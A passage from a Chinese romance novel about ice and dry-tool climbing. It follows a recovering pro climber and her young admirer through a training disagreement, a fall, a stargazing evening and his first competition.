三十米的冰壁,徐汀云先锋攀五分钟到顶,三分钟建站两分钟下降安全落地。
徐汀云用袖子蹭去额发间的薄汗,冲一旁观看的某人抬下巴,笑吟吟道:“能去吗?”
华松栩舌尖顶住后槽牙,没说话。
最终自然是去了的。
这是一处人迹罕至的天然冰瀑,垂直高度超过八十米,宽度超过二十米,涵盖难易程度不同的多种路线类型。
华松栩眯眼看了阵,抬手指右侧笔直的冰柱,“我从这爬,肖哥给我保护。”
“没问题。”
肖鸣昨天赶来汇合,商量了下后续安排。今天攀冰也算是正式开始。
周耀搭着徐汀云的肩,“怎么样?怕吗?”
徐汀云仰头望向遥远的高点,毫无惧色,“怕就不会来了。”
“行,那和阿栩同时上,你爬左边菜花多的这条线。”
华松栩立刻投来不赞成的目光,“老周你先爬,挂好线他再上。”
攀冰和攀岩不一样,冲坠是非常危险且致命的事情。因为冰面本身的不稳定性,即使沿途有无数挂点,在掉落时重力作用下很可能挨个崩出。在八十米的冰壁发生冲坠,后果更是不堪设想。
“没让他爬到顶,二三十米就行。”周耀坚持,“先锋实践都是这样过来的。”
华松栩寸步不让,“先锋实践是从熟悉的路线开始,新线根本不适合初学者。”
“这条线和基地爬过的类似,在他能力范围内。”
徐汀云见华松栩神色不对,似乎是真的生气了,赶紧上前拉住她,柔声道:“我知道你担心,就爬三十米。遇到任何能力之外的难点我就倒攀下来,绝不逞强——”
华松栩一把甩开,冷冷说:“你怎么保证不遇到突发情况?你现在具备应急能力吗?
徐汀云噤声,一时也不知道说什么好。
见状,周耀直接薅住华松栩走出去几十米才停下脚步,目光锐利至极。
“阿栩,你这护犊子的心态是怎么回事?”
51. 难以遏制
“每个人都从这过来的。你再想想自己当时连绳结都绑不利索就和丰哥去大黑沟,难道不是更冒进?”
“我是我他是他,再说八年前的理念和现在一样吗?”华松栩鞋尖蹭着地面,偶尔踢开脚边的石头,“不管怎么样首先保证安全。”
“今天咱们仨都在这,你谈保护谈安全。等他开始自己的登山生涯呢?”
“你从没这样带过学生,为什么偏偏在徐汀云身上——”
周耀打断说:“登山和性格是高度相关的,我会根据不同的人和潜能调整。显然徐汀云有这个能力,看他攀冰就能知道是稳扎稳打的风格,所以我认为可以尝试。”
“再有潜力他也刚开始!”
周耀看了她一会,忽然问:“如果今天换个人,你还会跟我急赤白脸掰扯吗?”
“……”华松栩哑然,否认的话怎么都说不出口。
“护犊子心态不可取。”周耀拍拍她的肩背,放缓了语气,“徐汀云是比你小,从职业角度来算也是后辈,但他不是需要人看管的孩子。二十多岁心智成熟的男人,会对自己的行为负责。”
她将额头抵在掌心中,沉默了好一会,“我就是控制不住担心。”
“这点挑战就担心,以后呢?你能一直把他框在眼睛里护着?有一天他要去爬婆缪爬幺妹呢?你还能从山顶给他建个顶绳保护?”
听着周耀劈头盖脸一通输出,华松栩耷拉着眉毛,干巴巴道:“别说了,我知道了。”
周耀狐疑,“从没见过你对谁这么上心——”
华松栩像被踩中尾巴的猫,瞬间炸毛,“爱才之心!交给你是信任你,要不好好教我就抢回来自己带!”
“被你带就成温室里的矫花了。”周耀揽住她往回走,坏笑道:“迷弟知道你这么关心他,那得多开心?”
华松栩想甩掉肩上的胳膊没推开,“别乱说!”
“昂昂!”
“……”
徐汀云一边准备一边注意华松栩的动向,心里有点不是滋味。他知道她担心,但担心的前提是他能力经验不匹配。他距离被她信任还有非常遥远的距离。
见二人回来,徐汀云立刻迎上去,“肖哥刚给我讲了下这条线的难点,还帮我理了下装备……我觉得可以尝试。”
他说得低声下气,眼里讨好的意味十足。
华松栩瞥了他一眼没吭声,倒是周耀看不下去,拉着人就走,“她是老师我是老师?听我的,咱甭搭理她。”
徐汀云一步三回头,还是没敌过老周生拉硬拽。
“……”华松栩叹了口气。
有时候人的思维真的很奇妙,华松栩经历过数不清的危急时刻,回忆起来都觉得没什么大不了。但一想到徐汀云要面临相同的情况,她就难以遏制的紧张。
老周说的没错,确实是自己该调整心态。
做好一切准备,两人相距十米左右,同时上镐起步。
华松栩刻意放慢了节奏,余光留心徐汀云那边的情况,一直到他翻过第一个菜花,选了合适的地方迅速打锥刷线,悬着的心才落下一半。
“永远留打一颗锥的力量,我记着呢!”徐汀云左手把着镐,右镐向上凿了两下吃住力,上脚挺身。
华松栩面朝冰壁,呼吸间丝丝凉意浸入收缩的肺部,声音有点干,“没把握千万别逞强,知道吗?”
“明白!”
华松栩逼迫自己收回目光,开始专心于眼前的线路。
先锋攀冰不能冲坠,意味着不能有任何一次失误。挂在数十米高空中,每一次选择都必须清醒理智,每一步都必须足够稳。
打镐,踢冰。
扣击冰面的每一次脆响,违抗地心引力攀爬后的喘息。冰是纯净的,冰上运动也是。
空窗一年不只是时间上的空白,还有身体机能的退化。上次在训练营攀冰线路短所以不明显,但遇到这样的长线,体力流逝后经验肢体不匹配的问题便格外突出。
爬到三分之一处,华松栩从仰角翻越突出的冰体时,选择上高脚作为着力点。这个动作有难度,但却是最快的方式。
她上脚勾挂,但却无法靠那只已经有些疲累的腿撑起全身力量。于是攥紧冰镐再次尝试,换来的是再一次失败。
这个华松栩过去轻而易举做过无数次的动作,此刻给了她重重一击。
作为对身体状况和技术动作把控精准的专业运动员,她很清楚继续尝试也是徒劳。
现在的她做不到。
停顿了足足半分钟,华松栩终于放下脚,挪动冰镐向侧方移动。绕过仰角后,她不顾散发的寒气将头抵在冰面上,缓缓地吐了口浊气。
真要命。
她如果连最擅长的事情都做不好,还能做什么?
失控的肌肉,和失控的人生一样可笑。
“阿栩加油!!!”
“走左侧过!你可以!”
地面的声音经过飒飒北风的阻拦传至高空,穿过抓绒帽和头盔飘进华松栩的耳朵时,早已弱了许多,也失真了不少。
靠扎进冰面的两只镐尖和几个冰爪前齿挂在离地三十米的地方,能依靠的只有自己。生存是,情绪上也是。
华松栩闭着眼,任由额头被刺骨的融水渗透。她努力寻回专注和冷静。
直到左侧传来打镐声和碎冰掉落声,华松栩恍然意识到此刻这面冰壁上不止一人。她侧首,另一个人正以不太美观却稳当的姿势向她靠近。
显然,徐汀云对于横移这个动作还有些生疏,加上移动过程中还需要打冰锥挂绳。但是他神色坚定,每一步行动都很果决。
华松栩难以置信,“你为什么爬过来?”
徐汀云一直到在她旁边一米处停稳,“陪你一起横爬。”
那条线似乎途径“水帘洞”,徐汀云被冰瀑融水劈头盖脸落了一身,这会不光头盔和硬壳上挂着亮晶晶的水珠,连泛红的脸颊都湿漉漉的,笑容却依然清爽。
华松栩握镐的手骤然收紧,“已经超出三十米,你倒攀下去。”
“嗯,我看你爬过这一段就下。”徐汀云拔出右镐,伸直手臂,“来干杯一下。”
那冰镐直直对着华松栩,她蹙眉,“什么干杯?
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”
“除夕我酒量不行没陪你喝,欠你一杯酒。今天用冰镐代替。”
“别闹腾,赶紧下。”华松栩没动。
徐汀云不听,晃晃手催促,“快点!”
眼看今天不碰一下是不下去了,华松栩只得用力拔出左镐,和徐汀云那只镐的鹤嘴碰了碰。正想收回时,她的镐被反向勾住了。
徐汀云小心思得逞,眉目都舒展开了。
“拉住你了。”
在鬼斧神工的冰瀑之上,人类的身影格外渺小。但也正是在巍峨又残忍的自然之中,两人冰镐相交,像是手拉着手,在沉默中传递人类独有的情感。
华松栩再次仰头看向前路,狠狠将方才那阻拦她的仰角踩在脚下。
失控又如何?重新掌控就好了。
当华松栩攀至终点向下俯视时,徐汀云像一颗黑色的小石子落于银装素裹的大地,看不清面容。
但她知道他在看她。她也在看他。
华松栩爬完之后,肖鸣也到了顶。周耀则为徐汀云没爬完那一条挂好绳,让他也尝试了一番。最终,初学者小徐止步60米,但这已经是进步神速了。
回客栈的车上,徐汀云翻看相机里的录像,冷不丁说:“周哥,三天之后再陪我来一次。”
周耀掸了掸烟灰,“不服?”
“不服。”徐汀云说。
坚定的眼神中,是独属于他的不服输和桀骜不驯。
周耀笑开了,“就喜欢学生有这股劲。放心,肯定陪你磕过去。”
经过一整天剧烈的体力消耗之后,周耀拍板,直奔镇上下了个川菜馆子。
小香鸡回锅肉,爆炒油麦菜花椒鱼,三个男人狼吞虎咽风卷残云,显得吃了半碗饭就放下筷子的华松栩格格不入。
她静坐了一会,和老板要了瓶啤酒。
周耀暴风吸入的空隙吐槽,“一般不是行程过半才开喝,怎么这就开始了?”
华松栩狠狠抠开易拉罐,喝了好几口,“想喝不行吗?”
“行,少喝点就行。”
徐汀云察觉她心情不好,但碍于肖鸣周耀在场,一直等回到客栈才拉住华松栩,“去烤烤火?”
华松栩手里还提着半瓶酒,想了想觉得不排斥,便答应了。
客栈一层是的休息区,炉子里燃着终日不灭的火,三面环绕着大通铺,有些没房间的驴友冰友就这么靠着墙休息。
两人坐在小板凳上,一个喝酒,一个看着另一个喝酒。热浪阵阵涌来,暖烘烘的。
徐汀云人高马大窝得有点憋屈,于是伸直两条长腿,脚刚好搭在炉子边。
华松栩瞥他,“你最好把腿收回来。”
徐汀云不解,“为什么?这样脚也暖和。”
“脚是暖和,鞋也暖和。多烤一会,胶一融化,明天你鞋底就掉了。”
“……”
徐汀云在沉默中把自己的腿一条一条搬回来,又挪着板凳倒退了好几步,这才抱膝乖乖坐着不动了。
华松栩难掩笑意,仰头喝完了手中的啤酒。
“谢谢。”她说。
52. 私奔逃课
华松栩的心情持续阴云密布。
一个人不会走路的人学走路,每一点进步都值得欢呼雀跃。但让一个能跑马拉松的人重新学走路,每一次突破都是凌迟。
她开始训练的时间越来越早,甚至天不亮就起床,天快黑才收拾东西回来,只来得及吃早晚两顿饭。
住在另一个房间的周耀原本对此并不知情,值到被徐汀云悄摸出门时吵醒,跟出去一看,扶额叹息。
在日出前的蓝调时刻,冰壁上挂着两个人,一个无保护攀三米高的仰角,一个在练打冰洞。
“两个犟种……”周耀摸摸下巴感慨,“不过,还挺般配。”
到了攀冰赛前一周,举办方封闭训练基地开线并做赛前准备,四人转战去练干攀。
不同于野外攀岩用肢体抓点,不同于攀冰可以随时用冰镐和冰爪开辟手脚点,干攀穿冰爪持技术镐,却只能通过优秀的读线能力,在岩壁上通过勾挂和踩点技术稳住身体。因为大仰角多、线路硬核,所以力量型选手更具优势。
周耀给徐汀云教理论知识的时候,华松栩已经理好装备做了顶绳保护,一言不发开始爬一条5+的线路。
“干攀比徒手攀岩更危险,如果发生冲坠,器械很可能会伤到攀爬者。所以一定要……”周耀拍了下徐汀云对着他的后脑勺,“听着没?看什么呢?”
徐汀云吃痛,回头看他一眼,又转了回去,“我有就是点担心。”
周耀顺着他的目光看去,华松栩一个并手,在几乎只有细小裂缝的岩壁上克服地心引力做功,“担心她什么?顶绳保护,安全没问题。”
“不是,担心她心情不好。”
“……”
周耀原地转了两圈,几次抬手想给他一拳,又在距离不过三寸处生生停住了,最终气呼呼地抹了把自己的脸,骂了句犟种。
他老周的命也是命!!!
徐汀云对身后的动静置若罔闻,轮廓深刻的侧颜看起来专注又认真,一直等到华松栩爬完这条线下降,才吁了口气回身,“周哥,说到哪了?”
周耀:……….
他忍无可忍,照脑袋给了徐汀云两下,“你听我说话能有看她一半认真吗?要不你换个人教,找你偶像去!”
徐汀云无辜,“阿栩最近压力大,我不想浪费她的时间。”
“……”
周耀气得差点吐血,直到徐汀云一路飞奔给他买了瓶东方树叶才消停。
两人并肩坐在一块凹凸不平的石头上,周耀连喝几大口青柑普洱,眯眼看那嶙峋的岩壁,“阿栩最近的状态,让我想起来第一次见她的样子。也是闷着头不说话,遇到难点死磕,胳膊受伤都不带停,谁都劝不住。”
徐汀云眉心微动,“嗯,她是这样。”
“说得好像你见过似的。”周耀斜他,“说真的,这么多登山运动员,你为什么偏偏喜欢阿栩?”
徐汀云淡声道:“因为,只有她救了我。”
“……啊?”
周耀半天理解不了端着水瓶呆滞,徐汀云已经拍拍裤子起身,“继续吧周哥,咱俩耽误太长时间了。”
周耀无语,正要当面蛐蛐眼前这位迷弟时瞥见了他身后的岩壁,神色突变,“小心——”
徐汀云几乎是本能反应,再回头看情况之前拔腿便往过跑,触及岩壁的瞬间,头顶上的华松栩也因冲坠狠狠撞上了岩壁。
“华松栩!!!”
右半身剧痛之下,华松栩发出一声闷哼,整个头都木了,挂在安全绳上好半天都说不出话来。
“放绳!!!”
“慢点慢点!!”
肖鸣和周耀一起努力之下,华松栩缓缓下落,还未到底,便被一人拦腰稳稳抱住。
“怎么样?”徐汀云拨开碰撞下散落的发丝,一看华松栩双眼紧闭脸色煞白,急了,“跟我说哪疼?”
华松栩有些晕,就听见一个声音时远时近,抿唇不言。
“去医院!”
徐汀云解开安全绳将人公主抱起来就跑,被周耀拦了下来,“先缓缓看情况!”
肖鸣也道:“这种情况常见,先别急。”
徐汀云眼睛都红了,抱着华松栩不知道如何是好。理性来讲二人经验丰富,听他们的没错,但感性上来说,他担心得要疯了。
周耀接手,把人扶住后迅速检查右边的胳膊肩膀和肋骨,终于长舒了口气,“应该没事。”
徐汀云跪在华松栩旁边,这一刻真恨自己还没学户外应急和救援的知识,不然怎么会像个傻子一样手足无措。
华松栩又缓了一阵,终于恢复了些,嗓音沙哑道:“没骨折,不用去医院。”
徐汀云用手扶去她额头上的冷汗,眉心依然拧得死紧,“没骨折撞这么狠也疼,我带你去一趟,好不好?”
“真不用。”华松栩睁眼,看他一脸认真的样子有些无奈,“去医院也是开跌打损伤的药罢了。”
徐汀云还想坚持,被华松栩拍了拍手臂,“扶我起来,我想去那边坐会。”
徐汀云怎么会让华松栩站,再次把人抱起来,轻柔地放在折叠椅上,又蹲在面前观察她的状态,整个人高度紧绷。
周耀捡起华松栩的镐,掂了掂,“幸好没脱手……怎么冲坠的?”
华松栩沉默瞬息,低声道:“有个大反提的点位,没想到会失误。”
“这可太正常了。”周耀说,“这玩意吃手感,过两天再来。”
“我等会再试一次。”华松栩活动右肩,神色因为肌肉韧带扯着痛而有些青白。
肖鸣立刻反对,“不行,你需要休息。”
“一会就好。”华松栩坚持,“没骨折没创口,就是撞了下而已。”
“别倔。你现在状态受到影响,再试多少次都一样!”
无论周耀和肖鸣如何苦口婆心又强硬拒绝,依然拗不过华松栩。某人采取左耳朵进右耳朵出的战略,根本不听。
“周哥,我陪她去车上躺一会。你们先玩。”徐汀云忽然说。
僵在这里也是僵着,还不如休息。周耀点头,“也行。”
华松栩被一路扶着上车,这才一点点放松右侧闷痛的肌肉,“你也想劝我?”
徐汀云要关副驾驶的车窗,被
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华松栩拦住,“开着。”
“好。”他脱掉外套,盖在她腿上,“想听实话还是?”
“实话。”
“我理解你。”徐汀云轻叹,“虽然不支持你带伤训练,但我理解你。”
长久的沉默后,华松栩终于按耐不住,吐露了心声,“重新开始真的好难……比入行都难。”
逃离的一年里,华松栩有内疚有崩溃有无措,但从未害怕过。因为她对自己的能力自信,对自己的攀爬技术自信。
然而再次面向岩壁,曾经引以为傲的技术、曾经和呼吸一样简单的动作都变得遥远,每一步都蹒跚艰难。这对一个曾经触碰国内最高水准的运动员来说,是致命的打击。
“放弃需要勇气,放弃后再开始需要更多勇气。”徐汀云轻抚她的发心,“你只是需要一些时间而已,一些和我一起进步的时间。”
华松栩扯了扯唇角,“按照现在的状态,止不定一个月后就需要你等我了。”
“那我做梦都能笑醒。”
“……就不能安慰我一下?”
徐汀云立刻张开双臂,“可以,用无敌温暖的拥抱安慰。”
华松栩眼尾直跳,“婉拒了。”
徐汀云原本就是耍宝,被拒绝也毫不意外,转而放倒椅背和她一并躺着,“说实话,半个月魔鬼训练真挺累的。好想黏在床上静置三天。”
“马上比赛,还想着静置?”
华松栩一记眼刀飞来,小徐立刻夹紧尾巴,“想想都不行吗?”
高三起码还能放一天假,不带半月无休这么魔鬼的。
“行。”华松栩想想小徐最近头悬梁锥刺股的努力,心软了,“那就静置半天吧。”
谁知,徐汀云字正腔圆道:“我不!”
华松栩:?
“你受伤都不休息,我怎么能休息?”
“……”
“作为阿栩的忠实迷弟,我必须像偶像靠拢。”
“……”
“头可断血可流,训练不能——”
“停。”华松栩艰难道,“你不就想拉着我一起休息吗?”
徐汀云耸肩,笑容流露出几分狡黠,“这可不是我说的。”
华松栩对上那双幽深的黑眸,没忍住给他脑门来了一下。
“嘶——”徐汀云装模作样的揉着,“怎么说?”
华松栩仰靠回去顺便合上眼,抿唇不说话。
周耀和肖鸣正一边担心一边蛐蛐华松栩的倔脾气,忽然被汽车扬起的尘土迷了眼。俩人对着毅然离去的车尾面露茫然。
周耀咬牙,“这是携车潜逃?”
肖鸣摇头,“这是带人私奔。”
周耀的越野车内,私奔二人不约而同看后视镜。
“老周估计在骂我。”华松栩严肃道。
徐汀云沉声笑了开来,“答应一起静置,不会反悔了吧?”
“反悔有用吗?”
“没有。”
“……”
徐汀云一脚油门嗖得窜上主道,以堪比高中翻墙去网吧的豪情壮志说:“走,徐哥带你逃课!”
53. 攀冰比赛
即将坠入地平线的太阳点燃半边天空,炽热的火烧云映于瞳孔,数九寒冰终是松动乃至融化了。
华松栩胳膊肘抵住窗框,食指勾着冲锋衣的松紧带,“逃课看日落。”
“现象级日落。”徐汀云补充,“以及,今晚99%的概率有绝美星空。”
“要等到凌晨吗?”华松栩挑眉。
“当然,逃课就要安排的扎扎实实。”
“……那你好像忘了点什么事情。”
徐汀云茫然地眨眼,“什么?”
华松栩再次戳徐汀云的脑门,然后掏出手机拨通了周耀的电话。
训练基地离镇上有十来公里,车又被徐汀云开走,那俩人怕不是得徒步回客栈。
“终于想起我了?”
电话一接起,就是周耀酸溜溜的声音。华松栩扶额,“我的错。你俩在哪呢?”
周耀没好气,“你说呢?”
“……我马上回来接你们。”
“用不着!”
眼看某人闹脾气,华松栩指启动键冲徐汀云示意,“半小时到,稍等。”
“用不着——”
“用不着。”
听筒内和耳边两道声音重合。
华松栩捂住话筒,斜眼看徐汀云,“什么意思?”
“我出发前就拜托客栈老板去接人。”徐汀云打开微信界面,在她面前晃了晃,“半小时前他俩已经回去了。”
周耀阴阳怪气道:“人家小徐一直记着我。等你想起来,黄花菜都凉了!”
华松栩:……
看出她是真没想到,徐汀云无辜,“在你眼里,我是这么不靠谱的人?”
华松栩:……
某人被两重挤兑,垮了脸。
挂了电话,华松栩狠狠剐了徐汀一眼。后者则擎着笑,学着她的样子,轻点她的脑门,“别操心了,有我呢。”
华松栩拧着的眉心松了些,扭过头去看窗外渐暗的天色,“要一直坐在车上等吗?”
“后备箱有折叠椅,也可以坐在车下等。”徐汀云说,“但你穿得单薄,还是——”
回应他的是已经打开的车门,和呼呼灌进来的冷风。
徐汀云拾起之前盖在华松栩身上的衣服,去后座犄角旮旯里翻出了条周耀的毯子,这才提着椅子追上去。
华松栩毫无防备的坐下,被层层叠叠包裹了起来,连帽子都被扣在了头上。热量瞬间积聚,暖烘烘的。
“你冷不冷?”她问。
徐汀云将抓绒和硬壳的拉链拉紧,“不冷。”
零下十来度,只穿抓绒,怎么会不冷。
华松栩叹了口气,将椅子向徐汀云那一侧拉了拉,然后将身上的毯子拽下来一半,搭在他的肩上。
徐汀云失笑,“不够长。”
“够。”华松栩坐得更近了些。
两人肩挨肩,毯子终于在身前交叠。
华松栩满意地收手,不动了。徐汀云是又好笑又心软,只得不着痕迹地将接口缝隙拉紧,免得她被风吹到。
他们一起看过很多次日落,很多次日出。每次似乎都一样,每次又都不一样。
呆坐了一会,徐汀云问:“没意思的话,给你唱首歌?”
想到面对雪山群落的那首perfect,华松栩勾唇,“打算唱什么?”
“Askyfullofstars。”
这次,徐汀云没有去放伴奏。干净又不乏磁性的声音像清澈的溪水潺潺流淌,撞上两岸后发出脆响。
Causeyouareaskyfullofstars
I''mgonnagiveyoumyheart
Causeyouareaskyfullofstars
Causeyoulightupthepath
旋律伴随胸腔发声的震颤,以紧挨的肩为桥梁,听得格外真切。
华松栩忍不住偏头,恰好看到徐汀云棱角分明的侧颜。锋利的下颌,随眼睑直愣愣下垂的睫毛,每一寸轮廓都是硬挺的。但在她身旁的他,她所看见的他,永远都是柔软的。
Idon''tcaregoonandtearmeapart
Idon''tcareifyoudo
Causeinaskyfullofstars
IthinkIseeyou
当漫天繁星打破黑夜的单调,华松栩将头靠在徐汀云的肩上,所有烦躁不安随之抚平,像徜徉在温暖的海水,又像在梅雨天晒到太阳。
他就像这首歌,坚定又包容,活泼又治愈。
在这一条毛毯包裹的小小空间里,在这一片星河之下,华松栩忽然觉得,怎样都无所谓,怎样都好——
只要这个人在身边。
只要他一直在身边。
在返程的车上,华松栩半梦半醒之中有些恍惚,于是伸手去摸身旁。最终攥住那只大手,又冲驾驶座的方向侧过身来。
“右边胳膊还疼吗?”
华松栩的手被温热包裹,迷糊道:“还好……”
明天继续加油。这个念头闪过后,她沉沉坠入梦乡。
一周后,本攀冰季最后一个重大赛事在小林沟开幕。
在华松栩出去接贺灵电话的功夫,徐汀云已经完成了男子预赛。
她走回周耀旁边,“什么情况,这么快?”
“昂,爬得顺。说不准能进决赛。”周耀将手机递来。
华松栩拖动进度条看录像,越看眉峰挑得越高。
“怎么样?”周教练洋洋得意,“交给我来带没错吧?”
华松栩将手机还回去,眯眼看前方正在攀爬的运动员,在脑海中和徐汀云对比,而后笃定道:“你说错了。”
“嗯?”
“肯定能进决赛。”
“……”周耀嘴唇抽动,“我那是谦虚。”
“在绝对的实力面前,不需要谦虚。”华松栩轻描淡写道。
“……”
男子预赛结束后,徐汀云找了过来,藏蓝色硬壳拉至下颌,冰镐挂在腰间随步子摇摆,和平时训练相比莫名多了几分游刃有余。
周耀从身后的包里掏出可乐,“喝不喝?”
“喝。”徐汀云接过,吨吨喝了好几大口,灼热的目光却始终落在华松栩身上。
她摸摸眉心,有些不自在,“累不累?”
“累。”徐汀云活动肩胛,冲她可怜巴巴地说,“胳膊挺累。”
周耀简直没眼看,寻思这家伙净爱踢钢板,对华松栩这种软硬不吃的人撒娇,能搭理就
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怪了。
于是作为爱才之人,老周主动站了出来,粗声粗气道:“来,我给你en——”
摁还没说出口,只见华松栩勾了勾手指,“过来。”
徐汀云唇边浮现一抹得逞的笑容,嗖得把胳膊送了过去,一副很不值钱的模样。
周耀:……这对吗?这还是他认识的阿栩吗?
华松栩拉开他的冲锋衣拉链,手伸进外套里,精准找到几个穴位。攀岩人的手劲可想而知,才摁了两下,徐汀云的笑容就僵住了。
她轻飘飘道:“忍着。”
徐汀云:“……”
总之旖旎的氛围没有,疼倒是真疼。
半小时后,预赛成绩公布。徐汀云排在第六的位置,毫无悬念地进了决赛。
华松栩看过决赛的线路,叮嘱道:“难度很大,完不成也无所谓。不要逞强。”
徐汀云带上手套,姿态松散随意,“放心,我就当到此一游。说不准爬到一半就下来了。”
话是这么说,当看到他硬生生用臂展扛过一个又一个难度极高的点位时,华松栩就知道,这家伙是卯足了劲要完成的。
“三个动态,这条线对他来说太难了……”她边读线边叹息。
周耀双手抱臂,紧紧盯着冰壁上的身影,“是难,但说不准呢?”
说话间,徐汀云抵达第一个动态。他先伸展手臂试了试,发现还差至少七十厘米的距离,立刻意识到靠身体优势过不去了。
他理了下安全绳,重心自左向右移动蓄力,几个来回后在所有人都没意识到的时候,突然飞身而上。
冰镐挂住左上方点位后滑动了几厘米,然后稳稳扒住了冰面。在观众的欢呼鼓掌中,华松栩憋了半分钟的那口气终于呼了出来。
周耀也吐了口浊气,咧嘴笑道:“这小子可以啊!”
“嗯。”华松栩不着痕迹地勾唇,音色却是一如既往的冷,“就是爬得太丑了。”
“……你别太苛刻。丑爬怎么了?能爬过去不就行了?”
随后两个动态,徐汀云也都是将将完成,看似命悬一线实则真的命悬一线,偏偏那一线结实得不得了,还真给他爬到顶了。
之后就是横移的木桩。正当华松栩以为徐汀云要下来时,他精准地做出了Figure4和Figure9的动作。她吃惊道:“什么时候教的?”
周耀得意洋洋,“昨天下午。”
“……”
徐汀云用现学的高难度动作,通过移动冰镐和牙间换镐不断变换着姿势。他的力量足够,就是柔韧差一些,所以每次挂腿的动作都很吃力。
他的每一步都很稳,却野心勃勃。紧盯终点是对完赛的渴望,即使违反人体力学也要作出的努力是竞技体育精神最直观的展现,力竭后咬牙继续前行是不愿放弃的决心。
此刻,他挥洒着汗水,走过华松栩曾经走过的路,也走向属于徐汀云自己的路。
当两只镐挂住终点,震耳欲聋的掌声和欢呼声响彻赛场。
徐汀云坦然地接受来自冰友的祝福,笑容中满是少年的意气风发。
宣告完赛后,徐汀云挣扎着将一只镐挂在腰间,低头精准地看向了华松栩的方向。他在数十米的高空中摇摆,眼神却未晃动分毫。
他抬手抵住唇,向挚爱送上飞吻。
54. 奔赴前方
华松栩穿过人群走上前去。
徐汀云正低头解绳子,察觉发心忽然一沉,于是本能地躲开。
华松栩以为他不喜便收了手,没想到某人抬头看到她后眼睛一亮,又把头伸了回来,一副不摸一下就不罢休的小狗劲。
她暗自好笑,狠狠摞了两把剃成板寸的脑袋,“谁说的不逞强?”
徐汀云松开锁扣,定定地看了她半晌。
旋即,华松栩被拉进了一个还带着冰壁寒气的怀抱中。
“你只管往前走,我一定会追上的你脚步。”
——徐汀云不需要她等自己,也不希望她为了旁人驻足。她就该走在自己的节奏中。
温热的呼吸伴随着坚定的语调一并喷洒在华松栩的耳廓,和绅士地停留于脊背的大掌一样不容忽视。
在这似曾相识的时刻里,她又想到了丰哥。
徐汀云和罗丰一样,是想到就会安心的存在,是世界倾塌时第一个想到的依靠。
但他们又不一样,很不一样。
华松栩勾唇,拍了拍他的后背,语气中藏着自己都没察觉到的纵容,“好了,都看着呢。”
徐汀云被她戳了下侧腰,心窝一阵酥麻,这才不情不愿的松手。
初出茅庐第一次参赛就进决赛还完赛,放在谁身上都得得意一番。徐汀云嘴上不说,唇边的笑意却是明晃晃的——快夸我。
华松栩好笑地切了一声,迅速拉着他退至场地边沿。即使如此,两人的动静也吸引了不少人的目光。
很快,有个同样参加比赛的运动员走了过来,试探道:“阿栩?”
华松栩定睛看了一阵,认出了来人,“童哥。”
童哥将冰镐收好,有些惊喜道:“这都多久没见了?一年多了吧?”
“嗯,休息了一阵。”
他了然,向周围张望了一圈,最终看向生面孔的徐汀云,“怎么不见丰哥?”
徐汀云神色微变,想开口解围又觉得越界,于是向华松栩靠近了半步,不着痕迹地拍了拍她的背。
华松栩深吸一口气,“他也在休息……要休息很长时间。”
“受伤了?”童哥拧眉,“怎么我没听说?”
“……没有。”
徐汀云眼看童哥一脸关切还要追问,眼疾手快地拉住华松栩的手腕,“阿栩,周哥让咱赶紧过去。”
“周耀也来了?”童哥问。
“嗯。”华松栩说,“那我俩先……”
“行,你们先忙。等结束以后我去和周耀打个招呼。”
华松栩任由徐汀云带着自己错身离开,走出去几十米后突然长叹一口气,“应该赶紧见刊的。”
徐汀云一愣,“你那篇报道要推迟吗?”
“贺灵说她的顶头boss那有些问题,估计下个月才能发出来。”
明明当初是她强烈要求封锁消息,现在又是她迫切地希望真相大白。华松栩自己都觉得可笑又矛盾。
徐汀云大剌剌地揽住她的肩,边走边说:“没事,我这就打飞的回去绑架老板的爱狗。那只雪纳瑞到手,看她妥协不妥协。”
华松栩扑哧一声笑了出来,“免了,我不想去警察局捞你。”
徐汀云也笑,一直到笑意散去,才轻声道:“都说不再谈论一个人,才是生命的彻底消亡。某种意义上来说,是你延缓了消亡的速度。所以不许多想,知道吗?”
华松栩脚下步伐微滞,很难说清此刻的感觉。像是在暴雨中失去方向时,遇到一个小小的公交站,顶棚下的干爽恰好够她容身。
他总是能透过外表,看到她内心最隐秘最难以启齿的褶皱,又能以最合适的方式将其抚平。她用指节蹭了蹭右眼眶,依旧没拂去那不受控的热意。
这时,简易搭建的主席台方向,话筒因为靠近音响发出尖锐的声响。主持人正在整理,看样子马上要公布比赛名次。
“走,去听听。”华松栩率先往过走,“万一拿奖呢?”
徐汀云立刻跟上,“拿不到才正常。能完赛我已经很满意了,不能好高骛远。”
能坦然接受来自外界的欢呼,也能坦然承受挫折和失败,华松栩还是很欣赏的,于是点点头道:“嗯,心态值得表扬。”
“只有心态吗?”徐汀云碎碎念。
华松栩假装没听见,唇角却不着痕迹地翘起了弧度。不能多夸,怕某人开心到摇尾巴。
最终公布成绩,徐汀云排在男子决赛第四的名次,和奖牌失之交臂。
周耀左手手背砸右手手心,一连砸了好几下,“有点可惜。”
“不可惜。”徐汀云正色,“还是要谢谢周哥教导。”
难得排在华松栩前面,周耀拿起架子来,用鼻音哼道:“嗯,现在知道谁最疼你了——
“大盘鸡?”徐汀云嗖地将头扭向华松栩,“镇上那家。”
“好,今天我请客。”
两人一拍即合,默契地向停车场走去。
周耀:……
老周梗在原地,“不是——什么情况???”
华松栩头也不回地喊:“不吃?”
“为什么不吃?”周耀瘫着脸,快步超过他们并率先坐上车,“我就要吃。”
徐汀云一边偷笑一边拉开驾驶座的门,华松栩一边偷笑一边将人塞进后座,“乖乖坐着。”
小徐只得乖顺点头。
这家大盘鸡和其他地方的有些不一样,吸收了川省爱吃辣的地方特色,加上酱汁格外浓郁,宽粉浸泡其中,香得不得了。
才吃了一半,华松栩三瓶啤酒下肚,开了第四瓶。
徐汀云作为喝不了酒的人,对于正常成年人能喝多少啤酒可以说完全没概念。眼看华松栩又是一饮而尽,眼里是藏不住的担忧。
周耀摆摆筷子,“放心。她酒量好着呢,最高战力一打啤酒。”
徐汀云没吭气,默默倒了杯热茶水放在华松栩手边。
“没事。”华松栩失笑,“你今天辛苦,多吃点。”
三人都挺饿,狼吞虎咽将超大一盘吃得干干净净。至于华松栩手边的空瓶,已经堆了六个。
徐汀云亦步亦趋跟在她旁边,只是下台阶时稍稍停顿,便被拉住了手肘,“小心。”
“没醉。”华松栩自然没醉,但微醺还是有的,
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语气随之染了几分漫不经心,“看不起我?”
徐汀云无奈,“怎么会……就是有点担心。”
华松栩挣开,三两步走完台阶,仰起下巴看他,神情难掩倨傲。
周耀翻了大大的白眼,拉住徐汀云作势要走,“甭搭理她,咱回去休息。”
这一拉,没拉动。
